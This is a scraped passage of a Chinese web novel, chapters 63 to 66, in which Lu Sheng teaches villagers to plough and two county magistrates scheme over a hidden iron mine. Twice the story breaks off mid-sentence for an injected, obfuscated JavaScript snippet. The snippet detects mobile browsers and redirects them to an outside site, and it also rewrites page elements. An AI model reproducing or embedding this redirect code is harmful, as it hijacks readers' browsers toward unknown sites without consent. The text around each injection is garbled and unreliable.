桐吾忽然一夹马腹狂奔起来,陆笙也不落后,蹄下草叶飞腾,如马踏清风,一瞬便跟了上去。 最后,两人勒马悬崖,云海翻涌,日光从遥远处升起,地平线有一层渐变的胭脂色。 往前看是变化万千的光影,往后看是丰美的芳草,而她站在交界线上抗拒危险的冲动,陆笙想对着空阔的天地大喊,想踏入云海之中去追逐日光。 “喜欢吗?”桐吾整理一下他的褂子,今天是黑衣金纽,阿克的装扮。 63. 第 63 章 “你同阿克出去看青峰绝壁那的云海了?”卡铃的声音出现在前头,她已改变了对桐吾的称呼。 陆笙循声望去,卡铃、卡依还有犀木正在不远处的田道上,看他们的模样应该是在收昨日火把的灰烬。 这是黑寨习俗,火焰会后每家都交予自家的灰烬,再由黑寨首领把灰烬搅在一起投入河水中。 河必须是共河或者其的支流,在土人的观念里只有它能沟通生与死,土人认为它会载着每家的记忆在水中流淌,直至将消息传递给已经逝去的祖先。 “嗯去了,下次我们一起。不过桐吾与我半路分道,好像要去很远的地方?那他岂不是来不及把灰烬投水?” 卡铃听到桐吾的去向眉眼舒展一些,她笑着说:“由犀木和我们来办,你快去睡一会儿,不然今天还怎么教我们犁地?” “也好,我先去睡一觉,午饭时没起来记得喊我。”被卡铃这么一说陆笙还真觉得有些头昏脑涨。 等陆笙走远,卡依先是借着绿叶上的露珠搓了搓指上黑灰,然后带着犹豫地语气问卡铃:“阿姐,不告诉陆笙桐吾去哪里吗?她好像不知道。” 犀木在后面,他拍拍卡依,将她手里的木桶接过来。他不善言辞,也只有在和卡依单独相处时会说几句。 就算惹得卡依烦了也不知道如何做,一开始只会献根粗木棍让她鞭挞自己以示惩罚,这叫卡依气得发笑。所以现在自己还是不说话得好,老实做好自己的活计。 “卡依,阿克没有说的事情我们何必要擅自做主,况且陆笙也不一定愿意听。你瞧,她都没有问阿克。” 卡铃认真分析,事实上就算陆笙问她也不会说的,这事情关系黑寨未来,但陆笙不是这里人。 卡依戳一戳阿姐严肃的脸,她问:“生什么气了阿姐,一口一个阿克得叫,还是你已经想通啦?” “对啊,就是想通了!”说完卡铃催促卡依继续去收灰烬,这还有上排屋子没收呢! 从前黑寨建起来都是把山坡开出一片空地,房屋就沿着山这么上排下排地建,远看去是叠加的模样。但话传下来说惯了,从前都是这么说,哪怕现在这里是平地,这个形容一时半会还改不过来。 卡依抱住自己的阿姐用脑袋蹭蹭她的脸说:“想通就好想通就好!” 卡铃说她的手臂像缠树藤,让她快松开,两个人欢笑着打闹几声才继续向前。 - 醒来是因为闻到一阵浓郁的香。 陆笙揉揉眼睛,对着窗伸了个懒腰,把四肢末端最后一点缠绵的睡意挤出去。 她又趴在窗口贪婪地闻一闻,还没分辨是什么的时候就听到卡依的声音从楼下传来。 “陆笙,快下来喝大茶,今年新鲜摘的,喝起来可甜了!” “好,我这就下来。” 陆笙应下,出去的时候卡依还在拷茶叶,她顺手揪了一撮薄荷放进嘴里。可那股熟悉的清凉气味还没被牙齿研磨释放,一股焦灰的味道从喉咙里冲出来。 “咳……咳咳……” “来,喝点水。”卡依递给她一个竹筒,陆笙取泉水猛灌。 卡依看她这样急匆匆的咯咯笑,陆笙很少有这样的时候,经常像猫一样懒惰,但也似猫一样灵活。 “昨天是火焰会,这薄荷叶上有好些灰呢!今天我和阿姐将灰烬投水以后就去洗澡,你猜怎么着?一池子黑乎乎的,就像你之前给我们喝的芝麻糊糊!可惜这个不能喝,呛人得很。” 卡依边说边将拷好的大茶投入旁边的陶罐子里,又加刚烧好的山泉水。 这种陶罐子很大,新鲜的大茶烤焦一些冲水只需几片就能吃到一嘴的回甘,比陈年的要鲜甜,适合下地的时候喝。 接过卡依递过来的碗,陆笙低头吹了吹,但实在是烫,半天没喝上一口。 “起来啦!”是卡铃的声音。 陆笙抬头,对她招招手,看到她牵着一头牛走过来,猜测这是为下午犁地准备的。 “你们有犁吗?”陆笙忽然想到什么问。 “有啊,阿克专门出去买了的,据说那叫什么……”卡铃把放牛绳栓在桩子上,走过来回答,但说到是什么犁的时候卡了壳。 “曲辕犁!”卡依倒是记得。 “对,曲辕犁。”卡铃一拍手,她觉得这名字实在弯绕,不知道什么意思。 陆笙听到“曲辕犁”三个字心头突跳,曲辕犁肯定不是从永平县买的,也不是从她原来走过的湿热南国买的,难道说还有第三条商道? “曲辕犁吗?居然能买到……” “对啊,是阿克从……从哪个地方带来的我记得,反正很远。”卡依说到“从”字的时候被阿姐推了推肩膀,她立刻改变了说辞。 陆笙虽然举着碗,但是余光看到了卡铃的动作,她知道这事很重要,不是自己能问出来的。 只能希望永平县水道争气一些,说不能和黑寨交换得到些信息,做一个互利共赢的局。 “你们在煮什么菜呢?这么香。”陆笙直接换了个话题缓和气氛。 卡铃得意:“馋猫,肯定是把你香醒了!我在炖鸡肉呢,加了些菌子,现在时节已经有些菌子从地里冒出来。” “还加了些秘酱,这酱炖鸡醇厚鲜美,你肯定没吃过!” “那我能带一些回去自己炖也能像你们这个炖鸡一样好吃吗?”陆笙起了霸占之心,食色性也,好吃的光吃一次可不够。 卡铃接过妹妹递来的茶吹一吹,咕咚喝了一大口,喝完笑道:“那不行,光有酱料也做不成,还要有对的食材。这鸡是犀木从林子里打来的香鸡,需得高山浓雾的地方才有,香鸡爱吃大茶,你们那有吗?” “诶,那可没有口福了。”陆笙叹气。 卡铃说:“那你可以留下来嘛,你留下来卡依和犀木每天都给你吃一只。”但她说完心里又有一点微微的后悔,明知她不可能留下还是提议,害怕阿克会因为陆笙的留下而变得不理智。 更诚实一点说,哪怕阿克与陆笙成婚只有千万分之一的概率她都觉得害怕。原来看开远没有那么快,习惯性的疼痛还留在自己的心里。 “那不要把它们吃得断子绝孙了?”陆笙托着下巴,一副深思熟虑的模样,实际上她眯起眼睛只是有那么点困。 “噗,你就听我姐姐的好话吧,每天吃一只,鸡还没吃完我和犀木已经累坏了,这香鸡难抓得很呢!”卡依摇摇头,“不过希望你留下是真的,你要是留下我们一定可以……可以更好。” 阿姐说陆笙是有智慧的人可以带黑寨走得更远,但是又难以叫陆笙去伤害北人的利益。 可如果她们生活的黑寨愈来愈富足,那么势必有一天会和永平县,也就是北人多的地方发生一点摩擦,所以她们是无法把陆笙留在这里的。 这么远的事情不知道阿姐是怎么想到的,现在明明连一点苗头都没有,卡依自己也是去过永平县的,那里可比黑寨大得多得多。 虽然看不到阿姐说的局面,但她能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321072|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到桐吾要带大家过上更好的日子,要一起喝酒吃蜜。也因此他常常不在黑寨,永远四处奔波,而她们和犀木自然也担负起阿克的一部分责任。 “那就吃菌子,雨水一来,这菌子迷人得很。”陆笙指了指山后的林子露出她馋嘴本性。 之后的话全落到了食物上,三个人借机聊了会儿哪片林子出菌子,那片竹林多竹荪和竹虫,直至喝完了那一瓦罐的鲜茶才作罢。 吃饭时犀木过来,他带了一篓青梅进来并汇报:“曲辕犁我已放在外头。” 陆笙紧把饭碗放下,刚炒好的韭菜炒腊肉都顾不上吃就出去。 卡依在后面喊她:“端着饭碗去看啊,别浪费,这可是香鸡!”说完她拿了个碗,准备给犀木盛了一碗香鸡汤。 陆笙回来拿碗,卡铃在旁边又给她夹了一只鸡腿。 “你教我们耕作可是大恩人,多吃点,耕地累呢!” 陆笙道谢,然后拿起勺子给自己碗里盛了一大碗汤,直接把碗里最后一点饭喝了进去。放下碗筷以后,她举着鸡腿小跑出去。 一出门就看到卡依在亲吻了犀木的脸庞,犀木脸通红,陆笙咳嗽一声,他的脸更红了。 陆笙打趣:“怪不得有情人面庞似杜鹃的比喻。” 卡依甜蜜地笑一笑。 举着鸡腿围着曲辕犁转了一圈,这曲辕犁好像比陆笙之前看到的更加牢固,做工也更加精细。 “这东西不好用。”犀木放下碗,如芭蕉叶这么宽的手拍一拍这犁,脸上显示出一些忧愁的神色。 陆笙试探:“莫不是你们阿克叫人骗了?” 卡依和犀木听陆笙也这么说脸上的表情更加忧愁,陆笙心里却有了数。 他们应该是没有找对用法,曲辕犁是目前时代最方便的耕种工具。 “如何?陆笙怎么说?”卡铃收拾完从里面出来,看到三个人围着曲辕犁神色略显焦急地问。 “陆笙说是桐吾阿克叫人骗了……”犀木皱着粗黑的眉毛,叹了口气。 陆笙摆摆手说:“我可没有完全确定,还是要等试用了以后才知道不是?所以你们平时都是怎么用的这个曲辕犁?” 看卡铃刚才特地牵牛过来,陆笙觉得再怎么使用也不会太难用吧? “那我们现在去田里?”卡铃对耕种这件事特别上心。 “嗯,现在就去吧。”陆笙也不拖延,反正都是要教的,她把手里的鸡骨头分给远传一直蹲守着但不敢靠近的黑狗,洗干净手立刻出发。 四个人走过几片已经有出秧苗的野稻地,又绕行几段山路,再淌过一条不急的小溪以后终于来到本次的目的地。 陆笙想到一件事,她问卡铃:“怎么这么远,寨子里不是很多徒弟可以开垦吗?” “还没修水道,没办法种稻子,你教会我们,明年就在寨子里直接种了。” “原来如此。”陆笙点点头。 打听完陆笙先让犀木演示一下他们的用法,犀木照做,他把曲辕犁搬到要犁的地方,然后开始套犁。 陆笙左看右看牛还没来,所以对他的法子有了些心理准备。 可虽有准备,但是看到他把架子往自己身上放的时候还是震撼,太震撼了! 怪不得卡铃要她多吃一个鸡腿,原来是用错了法子。 自己以前打趣是牛马,现在真的是以人当牛,这怎么受得了! 卡依看陆笙的表情,忽得侧耳倾听然后告诉大家:“有雷声,马上要下雨。” 64. 第 64 章 雷声轰隆隆从山那边传来,阴云渐渐逼近,最后天光晦暗不清,街道上行人眼看渐少。又闻嘶鸣阵阵,应是车马各自归厩的声音,大风呼呼地刮来不知何处的黄叶。 雨天总是萧瑟的,崔息想。他正站在衙门口向西南望,陆笙应在不知道多少座山后。 秦厌不去打扰公子,这是他难得的空闲时刻,自从笙姐姐离开以后他就愈发忙碌,前几天还病了一场。 不过生病时他似乎想明白了什么,人眼见着就精神许多。张大夫说多亏得他身体底子好,不然那病少说要半个月。 最后一副药吃完,张大夫给公子开了一张单子,说每日都要早起打三十四式,夫人爱吃什么县令也得多吃些。 秦厌在送张大夫的时候问他:“大夫,这病跟吃什么也有关系?” “心病还需心药医。你家公子的风寒是表症,有其内因而害病。”张远清摸摸自己的花白胡子,说得莫测高深,他也是这么对公子说的,现在又重复一遍。 这段话公子听没听进去他不知道,秦厌是听进去了,隔三差五地吃酒酿圆子,没人给他做他就自己做。 烧火、架锅子、倒水,再煮圆子分别加入蛋清蛋白搅动,最后关火倒入酒酿。 秦厌重复了许多次,从难吃到好吃的过程里,秦厌真觉得心里舒服许多,张远清不愧是名医。 但是也挨了丰娘的骂,因为自己煮得次数多了仆役婢子们都来找她诉苦,说劝劝秦侍卫吧。这些人坚持不到最后,光吃了难吃的那些,活该,哼! “备车回去吧,快下雨了。”崔息微微侧身。 秦厌点头领命,找老汤要了蓑衣披上才赶车。 果不其然没走一会儿雨便倾盆落下,视野里开始弥漫起淡淡的雾,雨丝分不开搅不乱,越下雾越浓。 他以为雨水要持续很久,可快家时又云开雨收,公子下车连伞都不必撑。他照例是回到了退休居,午食已放在那,还带着些温度。如若哪天他回来得晚了,就烧起壁炉将菜暖一暖,但很少有这样的时候,因为永平县的事越来越顺利,公子不必再连夜读文书。现在除了一些大患没有彻底解决,其他事都踏入了正轨。 丰娘说大伙儿都夸呢,说是捕快捉贼的身手利索不少。 阿灵说新立市监的好,现在买卖东西都放心,要有价格之争直接找市监就好。 但是公子只说这些其实都是当父母官应当做的,水能载舟亦能覆舟,焉有不为民之理? 可秦厌能看出来,每次从衙门回来,他一个人坐在退休居的时候又觉得空洞,有时一阵风过都打一个冷战。 崔息挥手让他退下,自己开始吃饭。 没吃几口忽然想到初次见面时自己心里那几分不在意,崔息心里泛起苦涩,可是一想到陆笙,他还是笑。可见人并不能预料到以后,此生如浮萍,万万不由己。 “阿郎,今天的菜还算可口么?”不知道何时丰娘从门外进来。 她手里还拿着一把镰刀,自从陆笙离开,菜地都是她与杨珞云、阿灵在打理。 崔息点点头,拿起筷子继续用夹菜。 今天的菜他没吃过,看样子是鸭肉,旁边放着一叠琥珀色的蘸料,表面还有一层淡黄色粉末。 轻轻蘸一下,一股浓烈的酸味在口中瞬间扩大。 丰娘瞧见崔息微微团起的五官笑说:“这是娘子留给阿灵菜谱里的青梅蘸鸭,最近梅子正青,温度又渐渐升高,这道菜日日都卖空,连续添了三四回鸭子都还不够呢!” 可能是觉得自己打扰了崔息吃饭,丰娘说完便福身离开。 认真地吃完了饭,他又去拿陆笙的那封信。 他差秦厌和丰娘打听了一下,说是山里的黑寨土人会驱使鸟兽,有时会请它们帮忙。 信崔息反复看了好几回,交代了曲辕犁的用法,还有如何发挥其最大作用等等等。她洋洋洒洒写了厚厚的一叠,甚至包括了对兰椒问题的分析。 陆笙把兰椒遇到的打骂与谢卉真遇到的困境相联系,也说到他到此地遇到的第一个案子,那个杀妻案。 她说自己当时问过一些人,旁敲侧击地问出来一些名堂。 那个妇人是因为铜矿衰败后失去了生计,原本她是铜匠,收入还算可观,后来失去生计以后嫁的那郎君懒惰,两个人脾气都急躁,动辄打骂摔碗,恩怨积累。 陆笙信里说或许给予女子生计才是有出路的法子,后面解释此法也暗含劝课农桑之理,譬如丝织与刺绣。 一件件一桩桩,陆笙都细细地记了下来,崔息当县令食君禄,这些事情自然是要记下要解决的,可陆笙只是为人着想。 也不知道她心头到底盛了多少事,只是怜惜方起怨又陡生。 有一事崔息很是挂怀,就是陆笙没有写到自己。认识的不认识的,近的,远的,她几乎都写了,可自己呢?她一字也没着墨,唯一有关的还是这屋子。 屋子里放了许多她自己写的册子,有农法有菜谱还有一些随笔小记,她把别人可以用的每一类都分得清楚,又说如果有人要借,崔息直接给便是,但要督促归还日期,因为每一本都是孤本,又写随笔小记不允许别人借。 其中这一句跟自己有关,因为这些东西陆笙都是对她开放的,可她真正不给外人看的东西都在她心里。 崔息没有因为陆笙半点偏袒而快乐。 反应过来时他才知道原来自己已经对她贪心过度。 “由爱故生忧,由爱故生怖,若离于爱者无忧亦无怖。” 崔息默默念诵,哪怕他觉得,这不是爱,是自己的那一份贪混入了爱才有此想法。 他振奋一下精神,反正已经做了完整的打算,不应再如此沉溺以至事未做完反倒伤了身体,路还长呢。 心里遏不住地反问:长吗?大概吧。 - 沈莲丰坐在莲花池旁边新建的小亭那等杨珞云,这小亭是夫人当初就说要建的,说是夏天可以避暑消散消散,屋子里还是太热。 可屋瓦选不中合适的,选中了建好了她却去土人那教人耕作,落成的模样都没有瞧见。 “丰娘,我来了!遇到沈郎君,说了几句话就迟了些。”杨珞云脸上升起一丝可疑的红晕。 “人家是天天盼着你吧!”沈莲丰点破她。 “看你说的,读书人用心在子曰诗云上,哪有空盼着我!” “你还为他辩呢?”说着拿胳膊肘挤一挤她。 杨珞云脸更红了,平时都不会如此。 沈莲丰有些惊诧地问:“不会是那书呆要求娶你吧?” “你说什么,不是这事!他说娶要在……诶呀瞧你,都怪你!”杨珞云拿袖子遮住了脸喝茶。 沈莲丰不羞她了,拍拍她的后背免得让茶给呛了喉咙。 “这事他跟我说的时 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“前些日子他去了州府一趟,你猜他瞧见了谁?”杨珞云如今对永平县很是熟悉,她因算术本领给许多小店盘过账,因此听了不少的八卦与往事。 “瞧见了谁?”沈莲丰一听她说这些就想嗑瓜子。 “谢卉真!她在州府摆了书画摊,看到沈郎便喊住了他,为谢恩送了他半只烧鸡。” 沈莲丰有些难把这些话同谢卉真这个名字联系起来,她是谢府的小娘子,怎的落得去当街卖字画了? “那沈郎君又是怎么同她认识的?”沈莲丰好奇。 “他说是之前见到谢小娘子摔倒在地,满口胡言乱语便与一位卖菜的婶子一起把她送了回去。”杨珞云初听时只觉得谢府不道义,后来思量再三还是问了沈隶口中那位卖菜的婶子。 她心里总是有那么一点点的过不去,毕竟听谢府流传出谢林有意招沈隶为婿的事。 婶子说确有这一回事。 本来卖菜的婶子是不愿与他去的,毕竟菜还没卖完,后来是沈隶包了摊子上剩下的菜她才肯去。 婶子说她问沈隶,这事何必两个人?他说对方是未嫁人的谢家小娘子,若只有他一人,传出去对彼此的名声都不好。 沈莲丰心想倒也还算君子之行,不愧读的那些书。 “瞧,说得兴起,正事要忘记了!”杨珞云摆摆手不说了。 本来两个人今天是来打理菜园的,可这话说得一多,天就不知觉天又黑了下来,天上隆隆地响,但雷声在天外传来似得,有些闷。 崔息听见外头又起风雨声便想眺一眼荷塘,谁知草木繁盛,只见绿意不见荷塘。 “公子公子,今日晚上是要去谢府赴宴的,莫忘记!”秦厌从外面逃进来,身上溅了不少雨点子。 说完又从怀里掏出那只三花猫,崔息看它的钩爪钩住秦厌的衣服有些哭笑不得。 “你莫要折腾它,它才多大些,怪不得与你不亲近。” “公子你不折腾它,你试试?”他龇牙咧嘴地把猫掏出来放到崔息手边。 结果猫咪一溜烟跑过去,靠在崔息的小臂上坐下,眼睛眯着开始给舔毛。 “……没出息!”秦厌指着它怒道。 猫通人意似得对他哈气,秦厌怒容顿去,只剩愁眉。 崔息学着陆笙的法子给它顺毛,轻轻问它:“她是不是叫你三花?” 65. 第 65 章 “杜鹃竹里鸣,梅花落满道。燕女游春月,罗裳曳芳草……”[1] 赵昙倚靠在软枕上听着谢林专门为他安排的吴歌,歌声如泣如诉,似要唱尽人间一切的春闺春怨。 永平县哪有会吴歌的人,这番安排是用了心思的。 赵昙捏起酒杯饮下,梅子的清香散入口中,若说永平县有什么能让他念上一二的,也就这一口酒。 其余的,不过付之一笑。 旁边作陪的是谢家长女谢栖真,面白如玉画眉染唇,好似春色光临。她添酒勤快,从不让酒杯空上片刻,总是一喝完便斟满。 起初谢栖真并不说话,只坐陪听歌,待到赵昙两颊泛红时才开口问些一路上的旅途风霜。 她声柔情柔,一副对赵昙关怀备至模样。 或许喝得多了,赵昙捏酒的手发颤,几滴酒水落在衣襟。 今日他穿的白衣,几滴酒水如滚落青梅,还没低头便有果味。 赵昙低头检视时谢栖真来到他身边,捏着沾了清水的布巾为他擦拭白衣,酒渍一点点消退,水痕却扩大了一圈,但她是细心的,擦完以后又拿了干布巾去绞。 平整无痕的衣服被一双素手绞得微微发皱,外人看着她几乎要扑在赵昙怀里,可偏偏就是隔着一指。 好似欲言又止的距离,偏偏有模糊可察的温度、味道还有气息,这样的距离男女之间连说话都要觉得唐突,实在过了界限。 “明府,酒水浓烈莫要贪杯,于身不益。”谢栖真轻轻地嘱咐,飘然离开赵昙一臂之远,可神情顾盼之间却似要落下几分情来。 “这酒不还是谢娘子为我倒的么?”赵昙生了一双风流眼,笑起来格外勾人。 “那明府可要问罪?治一治我这不识体统的毛病。”谢栖真身往前凑,送气如兰。 赵昙不着痕迹地借斟酒挪开些位置。 他举杯饮尽后笑言:“谢娘子说的什么胡话,要罚也应当罚我才是。赵某贪杯贪色,妄语妄言,不惜佳人斟酒之劳,还要烦卿为赵某去污洗垢。” “明府如此自谦,真君子也。不知明府这样的真君子好逑怎样的淑女?又有谁有幸叫君子寤寐思服辗转反侧呢?”谢栖真支着下巴,眼睛清澈如泉,似对赵昙心生爱慕。 说起此事赵昙长叹一气,摆摆手说不谈也罢,又问谢栖真:“已叨扰谢府两三日,怎么不见令妹?” “舍妹已远嫁它州,夫妻恩爱说是誓愿白头偕老呢!真是劳烦明府如此记挂,我待会儿便书信一封将君子爱慕尽书其上。”谢栖真似嗔非嗔,带着些含笑的恼怒。 赵昙作个苦笑,眼中竟真流过几分不舍与挂怀。 谢栖真冷笑,这赵县令胃口倒是真大,还想着左拥右抱呢! 若不是那姓陆的贱人撞破了自己与人欢爱,她是绝不愿去勾这赵县令的。 又笑这赵昙,他果真是个没骨气的东西,肉都送到嘴边了,还是有贼心没贼胆。 如若今日夜宴后再不成,谢栖真就准备在夜里给他下猛药,一次三包,哪怕是没了根的太监估计都受不了,到时顺水推舟做个县令夫人。 而且以后谢家不免要做去江南的生意,她都听爷爷说过的。 只是可惜,太可惜。 除了这个她还听到了爷爷只是暂时把担子放在自己手里,以后主要担子还是弟弟的,既然如此就别怪她狠心。 雨越下越大,赵昙也不再饮酒,站起来向窗外远眺。 谢栖真跟在他身后,手指轻轻点一点他背在身后的掌心。 “君子观雨洗心我便不叨扰了,夜里还有宴会,为您备下的衣服待会儿就叫人送来。” 说完她又伸出一根纤细手指在他衣襟处轻轻画一圈。 这个圆圈拖泥带水似得飘出去几分,最后落在赵昙心口。 “都怪此处发了皱。”谢栖真的声音带了两份哀怨。 赵昙一低头,确实有丝丝缕缕的褶皱,又轻轻“咦”了一声,接着他将头低得更下一些,衣襟上的味道愈发明显,这不是梅酒,而是淡淡一抹蔷薇露。 这气味与谢栖真身上的香味一模一样。 抬头她已走出了屋子,赵昙目光移出窗外,她却刚好回头。 谢栖真嫣然一笑,莲步款移,渐渐消失在雨雾之中,回首时只见赵昙微微一愣。 看,天也是怜惜她的,否则这赵昙又怎么会千里迢迢来此,多半是记挂谁。又庆幸,还好她那个妹妹被逼走了,不然去江南的机会还不一定轮得到她呢! 还好,人间情爱不过见色起意,近水楼台先得月,县令夫人的位置她就不客气了。 - 这是崔息第三次来谢林府上,他早听闻赵昙已住在此多日。 他方来此地便被谢府请去,连崔息的帖子也被谢府门人婉拒。 “原来是崔县令来了,有失远迎。我今日才知晓崔县令送的帖,刁钻仆役我已罚过,今日是大喜之日,改日,改日定当再设宴向明府赔罪!”谢林红光满面,看样子真是好事将近。 崔息不做计较,也无心计较,跟着他往屋子里走。 秦厌奉崔息命停在宴会门口,看意思公子不会在此长久逗留,只说些话便走。 今日他一身贴合轻甲,手中拿了宝剑,远远瞧着就英姿非凡。秦厌的模样吸引了不少路过婢子的目光,但他依旧目不斜视,一脸正气。 这时候不能丢份,心底里还是有几分得意并着失意,可惜阿木凌没见到自己这身甲。 他又在心里想,能不能把谢家门口的镇宅石狮搬去县衙?毕竟老汤总说衙门口那俩是疲态老狗。 屋里正在彼此介绍。 “这位就是如今永平县县令,崔县令。”谢林向宴席中一位锦袍男子说道。 崔息直接抢话:“那想必这位就是赵县令。” “是是是,这位就是赵县令,二位明府请上座。”谢林赶紧伸手。 崔息眉一皱,想说不必,却听得那位赵县令笑声爽朗,夸了他几句风姿倜傥便走了过来。 赵昙手里还拿着两杯酒,崔息含笑退后一步,不受此酒。 他倒不恼,两杯酒全都下了自己的肚,而后将酒杯交给谢林。 “谢府盛情款待,赵某受之有愧,今日宴会不如就此作罢。”赵昙眼眸一转,回头对谢林说道。 他说此话时谢栖真正含笑跨过门槛要进来,听得此语,不由心下一抖。 “明府治县有方,我不过是替永平县百姓酬谢,怎么好取消呢?”谢林立刻搬出一顶高帽,他心里却嘀咕,这姓赵的莫不是喝糊涂了! 赵昙忽然看向谢栖真,他略一拱手道:“谢娘子,我知你有意,但赵某无福,家父生前已为赵某定下一门亲事。此番前来也并非是有求娶意,而是感念谢府昔日之恩,故特来面告此事。” 饶是谢栖真还算沉得住气的冷静性子也被赵昙忽如其来的变化给打懵了。 他这是什么意思! 这几天低声下气搔首弄姿就换了这个结果!这个姓赵的竟然暗藏祸胎? 但面上谢栖真还是得咬牙忍住。 她微微啜泣道:“明府莫不是以为我谢家托大?之前又说得上什么恩惠,不过是我家见明府英才有心供之。说什么亲事,栖真身份地位又是商人之女,不知明府娘子是否再容得下小女侍奉明府?” 谢林听得面色发青,一下子竟没有反应过来女儿要去做这赵昙的妾室。 崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361032|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息站在一旁不作声,他此刻已然明了此事的大概面目。 赵昙是有事与自己讲,先前不来只是为今日挫伤自己与谢家的交情,是所谓诚意。否则又怎么叫崔息相信他或者说给他一次说话的机会。 “谢娘子当配良人,崔县令,你既是此地父母官,还望您来裁决一番。” 赵昙一句话把崔息也拉下了水。 “清官难断家务事,赵县令之事实在不好轻率相对。某还有公务在身,先告退了。”崔息袖一拂大步跨出了门。 赵昙的仆从根本不在谢宅,他一人来一人去,跟在崔息身后也无人敢拦。 其实拦也拦不住,秦厌以一敌百,谢府不足为道。 于是老汤为崔息开门的时候就看到了之前的那位县令,赵昙。 他不敢多话,开门便告退,以他混衙门的经验,现在就是听不见,看不到最好。 “不知赵县令何意?”崔息坐在堂上,秦厌只倒了一杯茶给自家公子,不欢迎三个字几乎要打在赵昙的面门上。 赵昙摸摸鼻子,他在想这个世家公子的冒牌货还真是沉得住气,不知道后面是有什么高人在指点,难道是崔相的门人? 不,不可能的…… “赵某只是有一些公务想与崔县令探讨,某不善玩绕,直话直说吧。想问崔县令不知出计炸通水道的高人是否有向崔县令说明那石头的来处?” 赵昙说到此事不由微笑,又看一眼崔息,暗叹门第之别。 上京的事情他这种地方官吏是打听不到的,可是这手笔这运气实在不像地方官能做出来的。 罢了,也是人家崔家的事,门槛比自己这个人还要高的高门谁知道有多少人才呢?就说这个崔县令,崔氏拿出来顶替的人还真像这么回事。这周身的气度与举手投足的仪态,不是探花胜似探花。 “赵县令似有他意?”崔息当然知道,但赵昙这时候提起,简直就像是说这石头是他炸的。 “是我的手笔,只为阻断水道。”赵昙的眉眼在烛火下晃动,得意的神色一览无余。 崔息紧咬牙关,杀意一闪而过,陆笙那天差点死在那。 “崔县令,既然我说出此事自然是为阻比水道更大的事,莫要将我这代天牧狩的官员想成是十恶不赦之徒呀!” “什么事?”崔息心念一动。 赵昙看崔息的神情知道有门,他老神在在用不急不缓的语气说:“崔县令只知有铜矿,可知还有铁矿?如若不阻,那铁矿约莫就这么悄无声息地被挖空啦!” “赵县令说的什么笑话,若是有异你为何不上报刺史大人?”崔息冷笑。 赵昙笑容依旧,接下来的话却让崔息白了脸。 他道:“若我说谢家在的靠山是上京的段氏呢?” 赵昙看着他表情分外得意,冒牌货就是冒牌货,听到段氏就如此惊恐。 得意完又沉思,他要做的是两头下注,崔息能做成事么?如若做成了以后就有助于自己升官,这是最顺利的。 若做不出他只好成亲后去巴结夫人的叔伯。倒是可惜了谢栖真的计策,若他不想升官也就从了她。 赵昙微微低头,这衣服上还是有蔷薇露的味道,但他心里一点旖旎也无。 到任永平是四年,在江南是一年,加起来一共五年。官员五年有一次长假可扫墓访亲,他舍弃了,只为此计添柴加火,眼前乱花迷人都是虚象,唯有高位与权力不会骗人。 崔县令啊崔县令,莫要叫人失望。 赵昙心内激动不由补了句:“此乃升官大事,前途无量,而且……” 他停顿,观察崔息的反应,等崔息目光投来他才继续说下去。 “而且某有一妙计。” 66. 第 66 章 屋子里已空出一段沉默,两位县令对坐却各自思量一言不发,只有烛火静静燃烧。 秦厌目光闪烁一下,只因烛心噼啪作响。 赵昙余光扫过崔息,他方才那一番表情的变化仿佛滴水入海的涟漪,只待片刻就消散不见。 他心情焦灼了几分,但忍住不发。 这时候比拼的就是忍耐,谁先开口便是落了下风。 忽然,崔息站了起来,赵昙心里一绷,层叠凌乱的话语在脑海中紧急排布。 哪晓得这崔县令站起来只是去剪烛,他拿起的那把剪刀样式马虎,锋刃似是没有开过一般,只见崔息拨着袖子剪下一刀烛芯却还未断,烛火飘摇晃眼睛,连带着赵昙的思量也被打断。 直到崔息再一剪,过长的烛芯终于断去,明光渐充盈,他坐回原位。 赵昙以为他还要再与自己对峙片刻,哪知崔息忽然开口:“赵县令回去要路过青州吧?若被段氏斩于中途可如何是好?” 没想到他竟知道此事,赵昙本想虚晃一枪却被他揭破。 于是只好以利相诱:“崔县令,此事不同凡响,若你真做成了,害怕仕途不顺畅么?来此我已打听过,水道通后乡绅就极力相帮,尤其是谢、隹两家。眼下这水道还没有能过铁矿船,所以此刻便是崔县令的莫大机缘!” 崔息抿一口茶问:“赵县令从前怎么不去做这事?” 赵昙干笑几声,这问题直戳核心但他在官场混迹面皮也不薄。 他思索片刻便答:“从前只我一人,取证已是难上加难。后又居于谢府,明面上与谢府交好,实则潜心搜证。当年我势单力薄不能成大事,如今听闻崔县令明察秋毫以律办事便知赵某的知己来了,所以特地来广平县如实相告。” 听了这些话他不由撇了撇嘴。好厚的面皮,简直比大明宫的院墙还厚,但偏偏这样的人在官场最吃得开。秦厌虽然不懂官场事,但没吃过猪肉可见过猪跑。 赵昙瞧见了,心中不悦,但又瞧他轻甲加身一股威武之气也不敢招惹。 尤其是崔息刚才说的那番话提醒他了,段氏可以在青州劫杀他,但这番凶险来时却不记得,只记得朱紫袍服与金银鱼袋。 他继续等崔息的回话。 可惜方才的计策没有成,被那剪烛动作打乱了节奏,否则此刻他已答应下来。 答应下来以后他查案,自己写文书,再…… “赵县令,永平县春夏总有熊掌流入江南,此事你是否知情?”崔息又将矛头转到其他事上。 赵昙来时对此已有准备,能把永平县盘活的人自然是会查看文书仔细核对的,那些熊掌来去的蛛丝马迹也灭去不得。 